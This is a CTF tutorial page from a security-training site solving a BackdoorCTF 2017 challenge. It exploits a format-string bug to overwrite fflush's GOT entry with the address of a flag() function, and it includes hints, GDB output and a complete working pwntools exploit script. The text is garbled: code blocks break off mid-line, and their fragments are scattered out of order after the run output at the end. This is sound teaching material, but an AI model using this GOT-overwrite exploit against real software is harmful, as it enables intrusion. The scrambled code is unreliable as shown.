Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. fmtstr-challenge-01
6 min read

Challenge 1

This challenge contains a rather difficult format write. Give this a try! If you're stuck, check out the full solution below. Note that the binary is in x86, meaning conventions like lln and llx don't make sense here.

This challenge is taken from BackdoorCTF 2017.

Stuck? Open one hint at a time before reading the solution.

Hint 1
Which library functions run after the vulnerable printf? With Partial RELRO, their GOT entries are writable.
Hint 2
There's a function that prints the flag. Point one of those GOT entries at it, writing one byte at a time with %hhn.
Hint 3
Find where your input starts as a format argument (leak with %x, or x/20x $esp in GDB). Put the target addresses after the format string at a known offset.
Hint 4
The bytes land wrong? printf also counts every character it printed before your input, so subtract those from each %c width.

Walk-through

This challenge will follow the same solution style as the previous two problems. However, if that proves to be confusing, an interesting solution can be found on Nightmare. This demonstrates there is always more than one way to solve these challenges, so if one way isn't working, try another!

Looking through the binary, there is a clear format string vulnerability inside main:

nasm
10x080487d0 <+172>:   lea    eax,[ebp-0x138]
20x080487d6 <+178>:   push   eax
3

From here, we'll follow the same format as before. We recognize the only two functions called after printf are fflush and exit; either can be chosen for this challenge. I chose fflush to not interfere with the proper exiting of the program.

Then, we use the GOT table to check for the address of fflush to perform a GOT Overwrite. This is possible because we only have Partial RELRO.

nasm
[0x804a028] fflush@GLIBC_2.0  →  0x80485c6

Therefore, we must write the values starting at 0x0804a028. We want to write the address of the flag function:

gdb
gef➤ i fu flagAll functions matching regular expression "flag":Non-debugging symbols:0x0804870b  flag()

We'll start this payload one at a time and incrementally check ourselves.

To challenge yourself, try writing the entire payload at once before running it! This simulates real-life pentesting operations where you only get one chance to run the binary to avoid being caught by IDS.

We start with the least significant byte. We want 0x0b there, which is 11 bytes, so a first attempt might look like:

python
payload = b"%11c%22$hhn"

(We'll justify the 22 shortly.) If we send this, though, the wrong value lands in the GOT. The reason becomes clear if we run the binary normally and look at what it prints before our input is echoed back:

$ ./challHello baby pwner, whats your name?AAAAOk cool, soon we will know whether you pwned it or not. Till then Bye AAAA

There is a fixed string — exactly 70 characters — printed before our format string is processed. printf counts those bytes too, so by the time our %hhn fires we've already "written" far more than 11.

To fix this, we overcount. Since 70 > 11, we wrap around to the next multiple of 0x100 and target 0x10b instead of 0x0b. An f-string keeps the arithmetic readable:

python
payload = f"%{0x10b-70}c%22$hhn".encode()
Where does 22 come from?
The address we write to has to sit on the stack at a known format-argument offset. Our input buffer starts at argument 10 (confirm with gdb, e.g. x/20x $esp). Our finished format string works out to 48 bytes — 12 four-byte blocks — so the four addresses we append land right after it, starting at argument 10 + 12 = 22.

Now we continue for the remaining three bytes. Each %hhn writes a single byte, and each count accounts for the bytes already printed so the running total wraps to the byte we want:

python
1payload += f"%{0x187-0x10b}c%23$hhn".encode()  # 0x87
2payload += f"%{0x204

Finally, we pad the format string out to its full 48 bytes and append the four target addresses — fflush@GOT followed by its next three bytes:

python
1payload  = payload.ljust(48, b".")
2payload += p32(0x0804A028)
3payload += p32(0x0804A029)

Putting it all together:

python
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4

This yields us a successful flag read!

solution.py
$ python3 solution.py[*] './chall'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x8048000)    Stripped:   No[+] Starting local process './chall': pid 150921[*] Switching to interactive modeHello baby pwner, whats your name?Ok cool, soon we will know whether you pwned it or not. Till then Bye                                                                                                          \x14                                                                         \xb8                                         \x84                                                                                                                                                \x04(\xa0\x04\x08)\xa0\x04\x08*\xa0\x04\x08+\xa0\x04\x08IFC{PL4C3H0LD3R_FL4G_H3R3!}
0x080487d7
<
+
179
>
: call
0x80485d0
<
printf@plt
>
-
0x187
}
c%24$hhn"
.
encode
(
)
# 0x04
3payload += f"%{0x308-0x204}c%25$hhn".encode() # 0x08
4payload += p32(0x0804A02A)
5payload += p32(0x0804A02B)
p
=
process
(
)
5
6# Point fflush@GOT (0x0804a028) at flag() (0x0804870b).
7fflush_got = 0x0804A028
8
9# 70 bytes are already printed before our input ("...Till then Bye ").
10payload = f"%{0x10b-70}c%22$hhn".encode()
11payload += f"%{0x187-0x10b}c%23$hhn".encode()
12payload += f"%{0x204-0x187}c%24$hhn".encode()
13payload += f"%{0x308-0x204}c%25$hhn".encode()
14payload = payload.ljust(48, b".")
15payload += p32(fflush_got)
16payload += p32(fflush_got + 1)
17payload += p32(fflush_got + 2)
18payload += p32(fflush_got + 3)
19
20p.sendline(payload)
21p.interactive()